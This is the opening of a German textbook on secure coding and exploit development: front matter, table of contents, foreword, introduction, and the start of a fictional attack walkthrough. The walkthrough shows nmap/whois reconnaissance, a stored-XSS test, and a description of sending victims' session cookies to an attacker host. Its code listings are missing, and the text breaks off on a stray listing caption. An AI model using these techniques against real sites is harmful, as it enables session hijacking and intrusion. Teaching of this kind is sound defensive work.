131 83 21MB
German Pages 519 [1032] Year 2019
Klaus Gebeshuber, Egon Teiniker, Wilhelm Zugaj
Exploit! Code härten, Bugs analysieren, Hacks verstehen
Impressum Dieses E-Book ist ein Verlagsprodukt, an dem viele mitgewirkt haben, insbesondere: Lektorat Christoph Meister
Fachgutachten Gerhard Seuchter
Korrektorat Petra Bromand, Düsseldorf
Covergestaltung Julia Schuster
Herstellung E-Book Melanie Zinsler
Satz E-Book III-satz, Husby
Bibliografische Information der Deutschen Nationalbibliothek:
Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar. ISBN 978-3-8362-6600-0 1. Auflage 2019
© Rheinwerk Verlag GmbH, Bonn 2019
Liebe Leserin, lieber Leser, wenn Sie bereits ein wenig geblättert haben, wird Ihnen aufgefallen sein, dass dies kein Buch für Script-Kiddies, MöchtegernProgrammierer oder Hollywood-Hacker ist. Ganz im Gegenteil: C und Java sollten Sie gut kennen, und es schadet auch nicht, wenn Sie Assembler-Code lesen können. Haben Sie diese Hürde genommen, dann finden Sie hier fundiertes Fachwissen zur sicheren Softwareentwicklung, mit dem Sie bessere Programme schreiben. Sie lernen nämlich, wie Fehler gekonnt ausgenutzt werden, wie daraus Sicherheitslücken entstehen und – am wichtigsten – wie Sie dies verhindern. Um diese Informationen seriös und zuverlässig zu vermitteln, braucht es praktische Erfahrung im Umgang mit aktuellen Sicherheitstechniken und ein solides theoretisches Fundament aus Informatik-Fachwissen. Dr. Klaus Gebeshuber, Dr. Egon Teiniker und Dr. Wilhelm Zugaj kennen die IT-Sicherheitsprobleme aus zahlreichen Industrieprojekten und wissen aus ihrer Lehrerfahrung, wie anspruchsvolle Inhalte erklärt werden müssen. So finden Sie hier eine umfassende Einführung in die sichere Softwareentwicklung, das Durchführen von Penetration-Tests und das Schreiben von Exploits. Abschließend noch ein Wort in eigener Sache: Dieses Werk wurde mit großer Sorgfalt geschrieben, geprüft und produziert. Sollte dennoch einmal etwas nicht so funktionieren, wie Sie es erwarten, freue ich mich, wenn Sie sich mit mir in Verbindung setzen. Ihre Kritik und konstruktiven Anregungen sind uns jederzeit willkommen.
Christoph Meister
Lektorat Rheinwerk Computing [email protected]
www.rheinwerk-verlag.de Rheinwerk Verlag • Rheinwerkallee 4 • 53227 Bonn
Inhaltsverzeichnis Liebe Leser! Inhaltsverzeichnis
Materialien zum Buch Geleitwort
1 Einleitung 1.1 Über dieses Buch 1.2 Zielgruppe 1.3 Wie Sie mit dem Buch arbeiten 1.4 Die Autoren
2 Exploit! So schnell führt ein Programmierfehler zum Root-Zugriff 2.1 Das Szenario 2.2 Die Vorbereitungsarbeiten, Informationssammlung 2.3 Analyse und Identifikation von Schwachstellen 2.4 Ausnutzung der XSS-Schwachstelle 2.5 Analyse und Identifikation weiterer Schwachstellen
2.6 Zugriff auf das interne Netzwerk 2.7 Angriff auf das interne Netz 2.8 Privilege Escalation am Entwicklungsserver 2.9 Analyse des Angriffs
3 Einführung in die sichere Softwareentwicklung 3.1 Ein Prozessmodell für sichere Softwareentwicklung 3.2 Die Praktiken der sicheren Softwareentwicklung 3.2.1 Code-Review 3.2.2 Architectural Risk Analysis 3.2.3 Risk-Based Security-Tests 3.2.4 Penetration Testing 3.2.5 Abuse Cases 3.2.6 Security Operations
3.3 Fachwissen für sichere Softwareentwicklung 3.3.1 Injection 3.3.2 Broken Authentication 3.3.3 Sensitive Data Exposure 3.3.4 XML External Entities (XXE) 3.3.5 Broken Access Control 3.3.6 Security Misconfiguration 3.3.7 Cross Site Scripting (XSS) 3.3.8 Insecure Deserialization 3.3.9 Using Components with Known Vulnerabilities 3.3.10 Insufficient Logging & Monitoring
4 Grundlagenwissen für sicheres Programmieren 4.1 Praktiken der agilen Softwareentwicklung 4.2 Die Programmiersprache C 4.2.1 Ein einfaches C-Programm 4.2.2 Automatisierung des Build-Prozesses 4.2.3 Die Erstellung und Verwendung von Bibliotheken in C
4.3 Die Programmiersprache Java 4.3.1 Ein einfaches Java-Programm 4.3.2 Automatisierung des Build-Prozesses 4.3.3 Die Erstellung und Verwendung von Bibliotheken in Java
4.4 Versionierung von Quellcode 4.5 Debugging und automatisiertes Testen 4.5.1 Debugging 4.5.2 Automatisiertes Testen
4.6 Continuous Integration 4.7 Beispiele auf GitHub und auf rheinwerk-verlag.de
5 Reverse Engineering 5.1 Analyse von C-Applikationen 5.1.1 Die x86-Architektur 5.1.2 Die x86-64-Architektur 5.1.3 Speicheraufteilung von C-Applikationen 5.1.4 Der GNU Debugger 5.1.5 Die Verwendung des Heap 5.1.6 Die Verwendung des Stacks
5.1.7 Reverse Engineering: Ein konkretes Beispiel
5.2 Analyse von Java-Applikationen 5.2.1 Classdateiformat 5.2.2 Speicheraufteilung von Java-Applikationen 5.2.3 Befehlssatz 5.2.4 Der Java-Disassembler 5.2.5 Class Loader 5.2.6 Garbage Collectors 5.2.7 Just-in-Time Compiler 5.2.8 Reverse Engineering Java: Ein konkretes Beispiel
5.3 Code Obfuscation
6 Sichere Implementierung 6.1 Reduzieren Sie die Sichtbarkeit von Daten und Code 6.1.1 Zugriffskontrollen in Java 6.1.2 Objekte als Parameter 6.1.3 Object Serialization 6.1.4 Immutable Objects 6.1.5 Java Reflection API
6.2 Der sichere Umgang mit Daten 6.2.1 Repräsentation von Daten 6.2.2 Input-Validierung 6.2.3 Output-Codierung
6.3 Der richtige Umgang mit Fehlern 6.3.1 Fehlercodes 6.3.2 Exceptions 6.3.3 Logging
6.4 Kryptografische APIs richtig einsetzen
6.4.1 Java Cryptography Architecture 6.4.2 Sichere Datenspeicherung
6.5 Statische Codeanalyse 6.5.1 Manuelles Code-Review 6.5.2 Automatisiertes Code-Review 6.5.3 Analyse von Bibliotheken
7 Sicheres Design 7.1 Architekturbasierte Risikoanalyse 7.1.1 Analyse der Angriffsfläche 7.1.2 Bedrohungsmodellierung
7.2 Designprinzipien für sichere Softwaresysteme 7.3 Das HTTP-Protokoll 7.3.1 HTTP-Transaktionen 7.3.2 Cookies 7.3.3 HTTPS 7.3.4 Interception Proxy
7.4 Sicheres Design von Webapplikationen 7.4.1 Clientseitige Kontrolle 7.4.2 Zugriffskontrolle 7.4.3 Authentifizierung 7.4.4 Session-Management 7.4.5 Autorisierung 7.4.6 Datenspeicherung 7.4.7 Verhinderung von Browserangriffen
8 Kryptografie
8.1 Verschlüsselung 8.1.1 Grundbegriffe 8.1.2 Symmetrische Verschlüsselung: Designideen von AES 8.1.3 Asymmetrische Verschlüsselung: Hinter den Kulissen von RSA 8.1.4 RSA: Security-Überlegungen 8.1.5 Diffie-Hellman Key Exchange
8.2 Hash-Funktionen 8.2.1 Grundlegende Eigenschaften von Hash-Funktionen 8.2.2 Angriffe auf Hash-Funktionen 8.2.3 Ausgewählte Architekturen von Hash-Funktionen
8.3 Message Authentication Codes und digitale Signaturen 8.3.1 Message Authentication Codes 8.3.2 Digitale Signaturen
8.4 NIST-Empfehlungen
9 Sicherheitslücken finden und analysieren 9.1 Installation der Windows-Testinfrastruktur 9.1.1 Installation des i.Ftp-Clients 9.1.2 Installation der Debugging-Umgebung 9.1.3 Installation der PyWin-Umgebung
9.2 Manuelle Analyse der Anwendung 9.2.1 Identifikation von Datenkanälen in die Anwendung 9.2.2 Analyse der XML-Konfigurationsdateien
9.3 Automatische Schwachstellensuche mittels Fuzzing 9.4 Analyse des Absturzes im Debugger
9.5 Alternativen zum Fuzzing 9.6 Tools zur Programmanalyse 9.6.1 Olly Debug 9.6.2 Immunity Debugger 9.6.3 WinDebug 9.6.4 x64dbg 9.6.5 IDA Pro 9.6.6 Hopper 9.6.7 GDB – Gnu Debugger 9.6.8 EDB – Evan’s Debugger 9.6.9 Radare2 9.6.10 Zusammenfassung der Tools
10 Buffer Overflows ausnutzen 10.1 Die Crash-Analyse des i.Ftp-Clients 10.2 Offsets ermitteln 10.3 Eigenen Code ausführen 10.4 Umgang mit Bad Characters 10.5 Shellcode generieren 10.5.1 Bind Shellcode 10.5.2 Reverse Shellcode
10.6 Exception Handling ausnutzen 10.7 Analyse unterschiedlicher Buffer-Längen 10.8 Buffer Offsets berechnen 10.9 SEH-Exploits
10.10 Heap Spraying
11 Schutzmaßnahmen einsetzen 11.1 ASLR 11.2 Stack Cookies 11.3 SafeSEH 11.4 SEHOP 11.5 Data Execution Prevention 11.6 Schutz gegen Heap Spraying
12 Schutzmaßnahmen umgehen 12.1 Was sind Reliable Exploits? 12.2 Bypass von ASLR 12.2.1 Review des i.Ftp-Exploits 12.2.2 Verwendung von ASLR-freien Modulen 12.2.3 Verwendung von ASLR-freien Modulen – i.Ftp.exe 12.2.4 Partielles Überschreiben der Sprungadresse 12.2.5 Egg Hunting 12.2.6 Verwendung von ASLR-freien Modulen – Lgi.dll 12.2.7 Brute Force einer Sprungadresse 12.2.8 Partielles Überschreiben der Return-Adresse II 12.2.9 Ermitteln der Adressen aus dem laufenden Programm 12.2.10 Fehlertolerante Sprungbereiche
12.3 Bypass von Stack Cookies 12.4 Bypass von SafeSEH
12.5 Bypass von SEHOP 12.6 Data Execution Prevention (DEP) – Bypass mittels Return Oriented Programming 12.6.1 DEP unter Windows 12.6.2 Return Oriented Programming
12.7 DEP Bypass mittels Return-to-libc
13 Format String Exploits 13.1 Formatstrings 13.2 Die fehlerhafte Anwendung 13.3 Aufbau der Analyseumgebung 13.4 Analyse des Stack-Inhalts 13.5 Speicherstellen mit %n überschreiben 13.6 Die Exploit-Struktur 13.7 Die Ermittlung von Adressen und Offsets 13.8 Die Verifikation der Adressen im Debugger 13.9 Die erste lauffähige Version des Exploits 13.10 ASLR Bypass
14 Real Life Exploitation 14.1 Heartbleed 14.2 SSL OpenFuck
14.3 Shellshock 14.4 Eternal Blue 14.5 Spectre und Meltdown 14.6 Stagefright
Stichwortverzeichnis Rechtliche Hinweise Über den Autor
Materialien zum Buch Auf der Webseite zu diesem Buch steht der kommentierte Beispielcode für Sie zum Download bereit. Gehen Sie auf www.rheinwerk-verlag.de/4738. Klicken Sie auf den Reiter Materialien zum Buch. Sie sehen die herunterladbaren Dateien samt einer Kurzbeschreibung des Dateiinhalts. Klicken Sie auf den Button Herunterladen, um den Download zu starten. Je nach Größe der Datei (und Ihrer Internetverbindung) kann es einige Zeit dauern, bis der Download abgeschlossen ist.
Geleitwort Sicherheit braucht vieles – mit Sicherheit aber braucht es sichere Software! Und damit Sie sichere Software schreiben können, braucht es ein Buch über sichere Softwareentwicklung – eigentlich am besten gleich eine ganze Bibliothek davon! Denn nur wenn es uns gelingt, das Thema zum Bestseller zu machen, haben wir die Möglichkeit, dem Thema Security überhaupt eine Chance zu geben. Es sollte dabei nicht nur für jeden Softwareentwickler, Designer und Planer zur Selbstverständlichkeit werden, sondern es muss außerdem ein breites gesellschaftliches Verständnis dafür geschaffen werden, warum wir sichere Softwareentwicklung überhaupt benötigen. Das beginnt mit der Bedeutung von Software in unserem Alltag. Sie lässt die digitalen Lebensadern unserer Gesellschaft pulsieren und durchdringt alle Lebensbereiche ubiquitär und pervasiv. Manchmal geschieht dies unübersehbar – wesentlich öfter passiert dies aber völlig unsichtbar für die Allermeisten von uns, denn Software ist so allgegenwärtig geworden, dass sie niemand mehr vollständig zu erfassen vermag. Und mit dieser riesigen Verbreitung geht eine Steigerung der Komplexität einher, die nur noch mehr dafür sorgt, dass Software heutzutage kaum beherrschbar ist. Der Apollo Guidance Computer (AGC) brachte die Mission Apollo 11 am 21. Juli 1969 noch mit 145.000 Codezeilen erfolgreich auf den Mond – 43 Jahre später sorgten 2,5 Millionen Zeilen für die sichere Landung des Mars-Rovers.
Windows 10 besteht aus über 50 Millionen Zeilen Programmcode, und wenn wir die unterschiedlichen Angebote von Google betrachten, können wir mehr als 2 Milliarden Codezeilen zählen. Als Vergleich: Die Analyse des menschlichen Genoms und die Kartierung der Nukleotid-Basenpaare von DNA brachten zum Vorschein, dass umgerechnet ca. 3,3 Milliarden Codezeilen nötig sind, um diese Informationen darzustellen. Die Komplexität der Software, die Sie täglich nutzen, nähert sich bereits diesen Zahlen an. Allein diese schiere Menge an Programmiercode und die steigende Komplexität jener Systeme, die sie steuern, zeigen, dass sichere Softwareentwicklung ein entsprechend sicheres Design als Fundament benötigt. Natürlich weiß jeder Entwickler, dass »Codezeilen« eine dumme Maßeinheit sind. Der Programmcode professioneller Softwareingenieure unterscheidet sich grundlegend vom Code angehender Entwickler, und der Code, der auf beschränkten Ressourcen läuft, muss natürlich schlanker und effizienter gestaltet werden als Code, der verschwenderisch mit den CPU- und Speicherressourcen umgehen darf. Trotzdem hilft die schiere Menge an Zeilen uns, die gigantische Dimension dieser Entwicklung anschaulich zu machen. Dieser Code hat Auswirkungen auf alle Teile der modernen Welt; von der Trinkwasserversorgung bis zur Flugsicherheit hängt heute alles davon ab, dass Programme manipulationssicher sind. Denken Sie nicht an gehackte Excel-Listen, verschlüsselte Dokumente oder gelöschte Fotos – es geht um die Sicherheit der virtuellen und der realen Welt schlechthin. Wenn Sie also Software entwickeln und Codezeilen produzieren, kann meine Aufforderung nur lauten: Beschäftigen Sie sich mit dem
Thema Sicherheit! Und zwar ernsthaft und nachhaltig. Sicherheit ist nämlich kein Extra, das sich beim Programmieren einfach hinzufügen lässt. Sicherheit muss vielmehr vom Beginn des Entwicklungsprozesses an mitgedacht werden, und es sollte bei jeder Entscheidung eine Rolle spielen. Dafür brauchen Sie nicht nur tiefes Wissen zum sicheren Design von Programmen, sondern sollten auch wissen, welchen Angriffen Ihre Software widerstehen muss. Sie finden daher in diesem Buch nicht nur Hinweise zum sicheren Programmieren, sondern erfahren auch, welche Gefahren auf Ihren Code lauern. Wie schnell ein kleiner Fehler zu einem großen Problem werden kann, zeigt etwa das abschließende Kapitel, in dem echte Exploits beschrieben werden, die in den letzten Jahren für viel Aufsehen gesorgt haben – vom tatsächlichen Schaden, der so angerichtet wurde, ganz zu schweigen. Diese Fälle zeigen eindringlich, warum sichere Softwareentwicklung für uns und unsere Zukunft unerlässlich ist. Joe Pichlmayr, Geschäftsführer – IKARUS Security Software GmbH
1 Einleitung Es vergeht kein Tag, an dem nicht über Sicherheitslücken, HackingAngriffe und Cybercrime berichtet wird. Das Thema ist allgegenwärtig und greift immer stärker in unser Leben ein. Wir sind abhängig von den uns umgebenden IT-Systemen. Die Wirtschaft könnte ohne funktionierende Kommunikations- und Datenverarbeitungssysteme und die zahlreichen Dienste im Internet nicht mehr arbeiten. Die Schattenseite des rasanten Wachstums von Internet und Co sind die zahlreichen Probleme und Schwachstellen, die Kriminelle ausnutzen können, um Schaden anzurichten und mit den gestohlenen Daten Profit zu machen. Es ist mittlerweile ein ganzer Industriezweig entstanden, der sich mit der Suche und Ausnutzung von sicherheitskritischen Schwachstellen in diversen Systemen beschäftigt und damit auch gutes Geld verdient. Täglich entstehen mehr als einhunderttausend neue Varianten von Computerviren, mit denen Systembetreiber, Endbenutzer und Hersteller von Antivirensoftware zu kämpfen haben. Aber warum gibt es so viele Schwachstellen? Können Systeme nicht einfach sicherer gebaut werden? Die einfache Antwort ist, wir haben ein großes Bewusstseins- und Qualitätsproblem in der Softwareentwicklung. Die Komplexität von großen Softwareprodukten mit mehreren Millionen Zeilen Quellcode verhindert umfangreiche Tests, sodass Anwendungen und Betriebssysteme oft in schlechter Qualität ausgeliefert werden. Das Bewusstsein für sicheres Softwaredesign und Begriffe wie Secure
Coding sind in vielen Entwicklungsabteilungen leider noch nicht angekommen.
1.1 Über dieses Buch In diesem Buch möchten wir das Thema sichere Softwareentwicklung von zwei Seiten beleuchten. Einerseits gibt es in der Entwicklung von Programmen Möglichkeiten und Wege, sichere Systeme zu entwerfen. Andererseits gibt es die Seite der Angreifer, die ständig versuchen, jede noch so kleine Schwachstelle in einem Programm sofort auszunutzen und diese mit Exploits anzugreifen, die letztlich wiederum eine Art von Software sind. Gute Softwareentwickler sollten beide Seiten kennen, um sichere Systeme zu bauen. Allein das Wissen um die Kreativität, die Tools und Möglichkeiten von Angreifern kann bereits ein erster Schritt in die richtige Richtung sein. Ebenso sind die in modernen Betriebssystemen eingebauten Schutzmaßnahmen gegen Exploits oft nur bedingt wirksam. Wirksamer Schutz ist nur mit hoher Qualität in der Softwareentwicklung möglich. Der erste Teil des Buchs setzt sich mit der Entwicklung sicherer Software auseinander, der zweite Teil behandelt die verschiedenen Möglichkeiten, um Softwarefehler aktiv durch die Entwicklung von Exploits auszunutzen. In Kapitel 2 zeigen wir Ihnen einen vollständigen Angriff auf eine ITInfrastruktur. Dabei werden Sie die einzelnen Schritte des Angriffs und die Probleme und Schwachstellen, die einen Angriff erst ermöglichen, kennen lernen. In Kapitel 3 stellen wir Ihnen das Konzept der sicheren Softwareentwicklung vor. Anhand eines Prozessmodells zeigen wir
jene Praktiken, die Ihnen helfen sollen, Softwaresysteme möglichst ohne Sicherheitslücken zu erstellen. Ein Überblick über die häufigsten Angriffe gegen Webapplikationen und mögliche Verteidigungsmechanismen rundet das Ganze ab. In Kapitel 4 beschreiben wir den praktischen Ablauf und die notwendigen Werkzeuge für die sichere Softwareentwicklung. Dazu gehören Methoden der agilen Softwareentwicklung genauso wie ein Überblick über die in diesem Buch verwendeten Programmiersprachen C und Java. Zusätzlich werden Techniken wie Quellcode-Versionierung, Debugging, automatisiertes Testen und Continuous Integration angesprochen. In Kapitel 5 beschäftigen wir uns mit Reverse Engineering. Wir werden also eine bestehende Applikation analysieren, um potenzielle Schwachstellen zu finden oder Sicherheitsmechanismen zu umgehen. Je nach Programmiersprache setzen wir hierfür unterschiedliche Techniken und Tools ein. Dabei werden wir aus der Sicht des Softwareentwicklers erklären, wie man solche Analysen verhindern oder zumindest erschweren kann. In Kapitel 6 geben wir Ihnen konkrete Anleitungen zur sicheren Codierung und gehen näher auf die Kapselung von Funktionalitäten, den sicheren Umgang mit Daten (Input Validation, Representation und Output Encoding) und das richtige Verhalten in Fehlersituationen ein. Einen Schwerpunkt bilden die kryptografischen APIs und deren richtiger Einsatz. Schließlich stellen wir Ihnen noch Techniken und Tools zur statischen Codeanalyse vor. In Kapitel 7 erklären wir Ihnen das Konzept der architekturbasierten Risikoanalyse und erörtern die grundlegendsten Designprinzipien für die sichere Softwareentwicklung. Anschließend stellen wir Ihnen die wichtigsten Designkonzepte für sichere Webapplikationen vor.
Ausgehend vom HTTP-Protokoll werden wir Themen wie clientseitige Controls von Webapplikationen, Zugriffskontrolle auf Ressourcen (Authentifizierung, Session Management und Autorisierung), sichere Datenspeicherung und die Verhinderung von Browserangriffen (Cross Site Scripting, Cross Site Request Forgery) besprechen. In Kapitel 8 erläutern wir wichtige Konzepte der Kryptografie. Wir erklären Verschlüsselungsfunktionen, Hash-Funktionen, Message Authentication Codes und digitale Signaturen. Abschließend stellen wir kurz vor, welche Algorithmen und Schlüssellängen derzeit vom National Institute of Standards and Technology (NIST) empfohlen werden und in welchen Dokumenten Sie sich rasch einen Überblick über Standards und Empfehlungen verschaffen können. In Kapitel 9 suchen Sie selbst nach Sicherheitslücken in einer Windows-Anwendung. Dabei lernen Sie Tools und Methoden zum Auffinden potenzieller Schwachstellen kennen. Sie schreiben Ihren eigenen Fuzzer und arbeiten mit Tools wie Debugger und Disassembler. In Kapitel 10 des Buchs nutzen Sie die gefundenen Schwachstellen aus und entwickeln Ihren ersten Windows-Exploit-Code. Der Exploit ist grundsätzlich lauffähig, wird aber durch die StandardSchutzmechanismen eines modernen Betriebssystems, wie zum Beispiel die Address Space Layout Randomization (ASLR) verhindert. In Kapitel 11 lernen Sie dann die derzeit vorhandenen Schutzmechanismen auf Betriebssystemebene kennen. Sie verstehen die Funktionsweise von Mechanismen wie ASLR, SafeSEH, SEHOP, DEP und können diese aktivieren oder auch ausschalten. In Kapitel 12 wechseln Sie wieder die Seiten und versuchen, die in Kapitel 11 implementierten Schutzmaßnahmen wieder zu umgehen.
Dort werden Sie auch den in Kapitel 10 entwickelten Exploit um Elemente ergänzen, die die Robustheit erhöhen, sodass dieser auf verschiedenen Betriebssystemversionen lauffähig wird. In Kapitel 13 behandeln wir einen konkreten Exploit auf einem Linux-System. Für die vorgestellte Anwendung lässt sich ein Format String Exploit entwickeln. Der Exploit umgeht alle aktivierten Schutzmaßnahmen wie ASLR und DEP unter Linux und ist damit universell einsetzbar. Schlussendlich stellen wir Ihnen in Kapitel 14 einige Real World Exploits der letzten Jahre vor. Darunter befinden sich klingende Namen wie Heartbleed, Spectre, Meltdown, OpenFuck, Stagefright, Eternal Blue und WannaCry.
1.2 Zielgruppe Dieses Buch richtet sich an Softwareentwickler, Qualitäts- und Sicherheitsverantwortliche, die bereits über ein Grundwissen in der Entwicklung von Software verfügen und die ihr Wissen erweitern wollen. Idealerweise bringen Sie Kenntnisse in den Programmiersprachen C bzw. C++ und Java mit. Nicht im Fokus dieses Buchs sind reine Anwender von IT-Systemen. Natürlich spielt auch der User eines Systems eine wichtige Rolle in puncto Sicherheit. Sicherheitsgeschultes Personal kann viele der täglichen Angriffe, man denke nur an die unzähligen PhishingMails, durch geeignetes Verhalten verhindern.
1.3 Wie Sie mit dem Buch arbeiten Wir empfehlen Ihnen, abhängig von Ihren fachlichen Vorkenntnissen, verschiedene Pfade durch das Buch. Wenn Sie Softwareentwickler sind, können Sie die Kapitel in der vorgegebenen Reihenfolge einfach durcharbeiten. Sollten Sie bereits erste Erfahrungen mit Software-Exploits gemacht haben, so empfehlen wir, nach Kapitel 2 direkt in den zweiten Teil des Buchs zu springen: Arbeiten Sie die Kapitel 9 bis Kapitel 14 durch, und kehren Sie dann wieder zu Kapitel 3 zurück, um die entwicklungsrelevanten Kapitel zu erkunden. Der Fokus des Buchs liegt auf den nachvollziehbaren Praxisbeispielen, für die Sie sich genügend Zeit nehmen sollten, da einige Beispiele und Teilschritte technisch recht anspruchsvoll sind. Wir hoffen, dass wir mit diesem Buch einen Beitrag dazu leisten können, die zukünftige Zahl der sicheren Softwaresysteme deutlich zu erhöhen.
1.4 Die Autoren Klaus Gebeshuber (https://fhjoanneum.at/hochschule/person/klaus-gebeshuber) ist Professor für IT-Security an der FH JOANNEUM in Kapfenberg, Österreich. Seine Schwerpunkte liegen im Bereich Netzwerksicherheit, Industrial Security, Security-Analysen und Ethical Hacking. Er hält zahlreiche Industriezertifizierungen im Umfeld von IT-Security, Netzwerksicherheit und Penetration-Testing. In diesem Buch deckt er die Themen Exploit-Entwicklung, Einsatz von Schutzmaßnahmen und deren Umgehung in Kapitel Kapitel 2 und Kapitel 9 bis Kapitel 14 ab. Egon Teiniker (https://www.fhjoanneum.at/hochschule/person/egon-teiniker) ist Professor für Software Engineering an der FH JOANNEUM in Kapfenberg, Österreich. Seine Schwerpunkte liegen im Bereich Software Design und Software Security. Weiter ist er seit vielen Jahren als Gastdozent an der Hochschule Bremen tätig, wo er Methoden zur Entwicklung komplexer Softwaresysteme und sichere Softwareentwicklung lehrt. Sein Beitrag in diesem Buch erstreckt sich von Kapitel 3 bis Kapitel 7. Dabei werden die Themenbereiche sichere Softwareentwicklung (Implementierung und Design) sowie Reverse Engineering abgedeckt. Wilhelm Zugaj (https://www.fhjoanneum.at/hochschule/person/wilhelm-zugaj/) ist Professor für Kryptografie und Datenbanktechnologien an der FH JOANNEUM in Kapfenberg, Österreich. Seine Schwerpunkte liegen im Bereich Verschlüsselungsverfahren, Big Data Security und Big Data Analytics. Hier ist er in Forschungsförderprojekten leitend und forschend
tätig. In diesem Buch deckt er das Thema Kryptografie in Kapitel 8 ab.
2 Exploit! So schnell führt ein Programmierfehler zum Root-Zugriff Erfolgreiche Angriffe auf IT-Systeme bestehen meist aus einer Reihe von Einzelschritten und sind oft die Folge von Programmierfehlern in Softwareprodukten oder fehlerhafter Konfiguration von Systemen. In diesem einführenden Kapitel möchten wir Ihnen einen vollständigen Angriff auf eine Firmeninfrastruktur vorstellen. Sie werden die Vorgehensweise und die Tools von Angreifern zur Ausnutzung einzelner Sicherheitslücken kennen lernen, die in Summe zu einem Root-Zugriff auf ein internes System führen. Jeder Schritt für sich allein könnte durch geeignete Schutzmaßnahmen verhindert werden. Damit wäre die Angriffskette unterbrochen und der Angriff in dieser Form nicht möglich. Das im Folgenden vorgestellte Szenario basiert auf einer fiktiven, aber typischen ITInfrastruktur eines Unternehmens und wird aus Sicht des Angreifers vorgestellt.
2.1 Das Szenario Sie sehen in Abbildung 2.1 die IT-Infrastruktur des fiktiven Unternehmens Liquid Design & Technology. Das Unternehmen ist auf technische Dienstleistungen im Bereich Design und Implementierung von Anlagen im Bereich der Rohölverarbeitung spezialisiert. Aufgrund der jahrelangen Erfahrung besitzt das Unternehmen großes Know-how in dem Bereich und belegt damit
eine Vorreiterrolle am Markt. Das Unternehmen ist dadurch ein sehr interessantes Ziel für Angreifer. Der Hacker cr0g3r wurde von der Konkurrenz beauftragt, Firmengeheimnisse aus den internen ITSystemen des Unternehmens zu entwenden. Das Firmennetzwerk besteht aus einer Firewall, die den Datenverkehr aus dem Internet blockiert. In einer Demilitarisierten Zone (DMZ) läuft ein öffentlich zugänglicher Webserver, der ein Kundenportal enthält. Die DMZ stellt Dienste bereit, die einerseits aus dem Internet sicherheitstechnisch kontrolliert erreichbar sind und andererseits gegen andere Netze des Unternehmens abgeschottet sind. Das interne Netzwerk ist durch eine weitere Firewall von der DMZ abgeschottet. Im internen Netzwerk sind neben der klassischen Office-Infrastruktur auch Server zur Verarbeitung von Kundendaten sowie ein Entwicklungsserver vorhanden.
Abbildung 2.1 Die IT-Infrastruktur der Firma Liquid Design & Technology
2.2 Die Vorbereitungsarbeiten, Informationssammlung Der Hacker cr0g3r hat von seinen Auftraggebern als Information nur den Firmennamen Liquid Design & Technology erhalten. Der erste Schritt für ihn ist nun, Informationen über das Ziel zu sammeln. Über eine einfache Google-Suche lässt sich schnell die Domain der Firma liquid-dt.com ermitteln. Die drei verwendeten Sub-Domains findet er über eine Suche auf der Website DNSdumpster.com: www.liquid-dt.com mail.liquid-dt.com customer.liquid-dt.com Die beiden Systeme www.liquid-dt.com und mail.liquid-dt.com sind bei einem externen Internetprovider gehostet und daher für die erste Betrachtung von geringerer Bedeutung. Eine whois-Abfrage der IP-Adresse von customer.liquid-dt.com liefert jedoch die Information, dass dieses System auf einer dem Unternehmen zugeordneten Adresse läuft. root@kali:~# whois customer.lquid-dt.com
Ein Portscan mittels nmap zeigt zwei offene TCP-Ports: root@kali:~# nmap customer.lquid-dt.com
Nmap scan report for customer.lquid-dt.com
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Es handelt sich bei dem System eindeutig um einen Webserver. Der nächste Schritt ist ein Aufruf der Adresse in einem Browser. Das in
Abbildung 2.2 dargestellte Kundenportal ist mit Benutzername und Passwort geschützt. Ein möglicher Zutritt wäre hier eventuell über schwache Passwörter möglich. Allerdings wird für eine Passwortattacke auch ein gültiger Benutzername benötigt.
Abbildung 2.2 Das Anmeldefenster für das Customer Portal
cr0g3r wählt den einfacheren Weg und registriert sich als neuer Benutzer. Dafür ist nur eine gültige E‐Mail-Adresse notwendig. Er wählt dazu einen One Time Email Account der Plattform Maildrop und kann die Registrierung mit seiner neuen Adresse [email protected] durchführen.
2.3 Analyse und Identifikation von Schwachstellen Bei der Analyse des Kundenportals stößt cr0g3r auf ein Forum. Neu registrierte Benutzer werden eingeladen, sich hier kurz vorzustellen. Foren können einerseits interessante Informationen liefern, und andererseits gibt es auch zahlreiche fehlerhafte Implementierungen.
Abbildung 2.3 Ein Beitrag im Kundenforum
Ein typischer Security-Test in Webanwendungen ist die Überprüfung aller Eingabemöglichkeiten, d. h. aller Parameter und Eingabefelder, auf SQL-Injection und Cross Site Scripting (XSS). cr0g3r startet den Test, indem er einen eigenen Forumseintrag verfasst. Ein Druck auf den Reply-Button öffnet ein Editor-Fenster.
Abbildung 2.4 Anlegen eines neuen Forumseintrags
Der einfachste Test auf Cross Site Scripting ist die Eingabe von JavaScript-Code in ein Eingabefeld. Die JavaScript-Sequenz öffnet bei erfolgreicher Ausführung ein Fenster mit einer nichtssagenden Meldung. Sie sehen in Abbildung 2.5 den XSS-Testeintrag.
Abbildung 2.5 Versuch einer Cross-Site-Scripting-Attacke
Nach dem Speichern des Eintrags erscheint, wie in Abbildung 2.6 dargestellt, eine Alert Box. Die Anwendung ist damit eindeutig anfällig für Cross Site Scripting. Durch XSS wird im Browser des Benutzers ein von außen eingeschleuster JavaScript-Code ausgeführt.
Abbildung 2.6 XSS mit einer JavaScript Alert Box
Genaugenommen handelt es sich hier um eine Stored-Cross-SiteScripting-Schwachstelle, da der JavaScript-Code in der Datenbank der Anwendung gespeichert wird. Jeder Aufruf des Forumseintrags führt den Code erneut aus. Eine Erweiterung des Tests um den Befehl
liefert weitere
interessante Informationen. JavaScript hat Zugriff auf das Document Object Model (DOM), d. h. auf alle Informationen, die aktuell im Browser über diese Seite gespeichert sind. Sie sehen in Abbildung 2.7 die Ausgabe von zwei Cookie-Werten, nämlich PHPSESSID und user_id, die Sie so auslesen können.
Abbildung 2.7 Ausgabe der Session-Cookies
2.4 Ausnutzung der XSS-Schwachstelle Die Ausgabe der eigenen Session-ID im Browser ist über XSS möglich. Um nun mittels Session Hijacking die Session eines anderen Benutzers zu übernehmen, ist dessen aktuelle Session-ID nötig. Wie kann cr0g3r aber die Session-ID eines anderen Benutzers erhalten? Das funktioniert einfach mit dem folgenden JavaScriptKommando:
Listing 2.1 Stehlen der Cookie-Daten über XSS
Bei der Ausführung des Codes wird eine unter der Kontrolle des Angreifers laufende Webseite (receive.cr0g3r.com) mit den aktuellen Cookies als Argument aufgerufen. Das Script get_cookies.php sehen Sie in Listing 2.2:
Listing 9.1 Die Datei »options.xml«
